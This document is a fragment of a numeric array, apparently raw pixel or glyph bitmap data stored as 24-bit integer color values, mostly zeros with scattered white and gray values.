,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777179,9452032,0,14992,14417919,16758374,0,0,0,0,14950,9483995,14408703,16777215,16777215,16777215,16767963,14399078,3815936,0,0,0,0,0,0,0,0,14950,11983871,16777215,16777179,14389350,0,0,58,6721718,14417919,16777215,16777215,16767963,11953722,3801088,6731483,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,14389350,3801088,0,0,0,0,0,0,0,3827344,14417919,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,14992,11983871,16777215,16777215,16767963,11953722,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,3827344,14408667,16777215,16777215,16777215,16777215,14408630,9463354,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399120,6699520,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,58,6721718,14408703,16777215,16777215,16777179,14399120,6699520,0,0,0,0,3838171,16777215,14408667,11964560,6699520,0,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,14417919,16767888,3801088,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,0,3838171,16777215,16758374,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777179,14399078,3801088,0,0,0,0,58,3827382,14408667,16777215,16777215,16777215,16767963,14399120,6699520,0,3838171,16777215,16777215,16777215,16777215,16777179,14399120,6699578,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,14906,6731483,14408703,16777215,16777215,16777215,14408667,11974288,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,58,6731483,14417919,16777215,16777215,16767963,11953722,0,0,0,0,3838171,16777215,16758374,0,0,0,0,58,9493503,16777215,16758374,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,6731519,16777215,11953664,0,0,0,0,102,11993087,16777142,6684672,0,3838171,16777215,16758374,0,0,0,14992,14417919,16777215,16767888,3801088,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,3838171,16777215,14389306,0,0,0,0,102,11993087,16777215,14389306,0,14950,9483995,14408703,16777215,16777215,16777215,16767963,14399078,3815936,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,14992,14417919,16777215,16777142,6684672,58,9493503,16777215,16777215,14389306,0,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731483,14417919,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767888,3801088,26294,14417919,16777215,16777215,16777215,16767963,11964518,3815936,0,0,0,0,0,0,58,6721718,14408703,16777215,16777215,16777215,16777179,14399078,0,0,0,14950,9483995,16777215,16777215,16767926,9452032,3838171,16777215,14389306,0,0,0,0,14950,9483995,14417919,16777215,16777215,16777215,16767963,9452032,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,14950,9483995,16777215,16777215,16767926,9452032,6731519,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,0,26294,16777215,16777215,11953664,0,0,0,0,0,3827382,14417919,16777215,16777215,16777179,14408592,3801088,58,9493503,16777215,11953664,58,9493503,16777142,6684672,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,26294,16777215,16767888,3801190,9493467,16777215,16777215,16767926,9463354,0,0,0,0,58,9483995,16777215,16777215,16777179,11953722,6731519,16777215,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,26294,14408703,16777215,16777215,16777215,16777215,16767963,14399120,6699520,0,0,0,0,0,0,58,6731483,14417919,16777215,16777215,16777215,16767888,3801088,0,0,14950,9493467,16777215,16777215,14399120,3801146,9493503,16777215,16777215,16767888,3801088,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,14992,14417919,16777215,16767888,3801088,0,6731519,16777215,16777179,9452032,0,0,3838171,16777215,16767888,3801088,0,0,0,6731519,16777215,16767888,3801088,0,0,0,0,26294,16777215,16777215,16777179,9452032,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,58,6721718,14408703,16777215,16777215,16777215,16777179,14399078,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,9483995,16777215,16777215,16777215,16777215,16767926,9463354,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,9483995,16777215,16777215,16777215,16777215,16767926,9463354,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,6731483,16777215,16777179,9452032,6731519,16777215,16777215,16767888,3801088,0,0,0,6731519,16777215,11953664,58,6721718,11974288,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16758374,0,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,58,9493503,16758374,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,0,3838171,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,3838171,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,3838171,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,3838171,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,3838171,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,3838171,16777215,16758374,3838171,16777215,14389306,0,0,102,11993087,16777215,16777215,16777215,16777215,11953664,0,0,0,58,3827382,14408667,16777215,16777215,16777215,16767963,14399120,6699520,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,3838171,16777215,16777215,16777215,16777215,16777179,14399120,6699578,0,0,0,0,3838171,16777215,16758374,0,0,0,14992,14417919,16777215,16767888,3801088,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6710966,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,14992,11983871,16777215,16777215,16777179,14389350,3801088,0,58,6731483,14417919,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767888,3801088,58,6731483,14417919,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767888,3801088,58,6731483,14417919,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767888,3801088,58,6731483,14417919,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767888,3801088,58,6731483,14417919,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767888,3801088,58,6731483,14417919,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767888,3801088,6731483,16777215,16777215,16767926,6684672,0,14992,11983871,16777215,16777215,14389306,0,0,0,58,6721718,14408703,16777215,16777215,16777215,16777179,14399078,0,0,0,0,14950,9483995,14417919,16777215,16777215,16777215,16767963,9452032,0,0,0,0,14950,9483995,14417919,16777215,16777215,16777215,16767963,9452032,0,0,0,0,14950,9483995,14417919,16777215,16777215,16777215,16767963,9452032,0,0,0,0,14950,9483995,14417919,16777215,16777215,16777215,16767963,9452032,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,58,6721718,14417919,16777215,16777215,16767963,11964518,3801088,0,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777179,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,0,14950,9493467,16777215,16777215,14399120,3801146,9493503,16777215,16777215,16767888,3801088,0,14950,9493467,16777215,16777215,14399120,3801146,9493503,16777215,16777215,16767888,3801088,0,14950,9493467,16777215,16777215,14399120,3801146,9493503,16777215,16777215,16767888,3801088,0,14950,9493467,16777215,16777215,14399120,3801146,9493503,16777215,16777215,16767888,3801088,0,0,0,26294,16777215,16777215,16777179,9452032,0,0,0,0,26294,16777215,16767888,3801190,9493467,16777215,16777215,16767926,9463354,0,0,0,0,0,0,26294,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16767926,9452032,0,0,102,11983835,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777179,14399158,11974326,11974363,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16767963,14408667,14408667,14408630,9452032,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,102,11983835,14408667,14408667,14408667,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,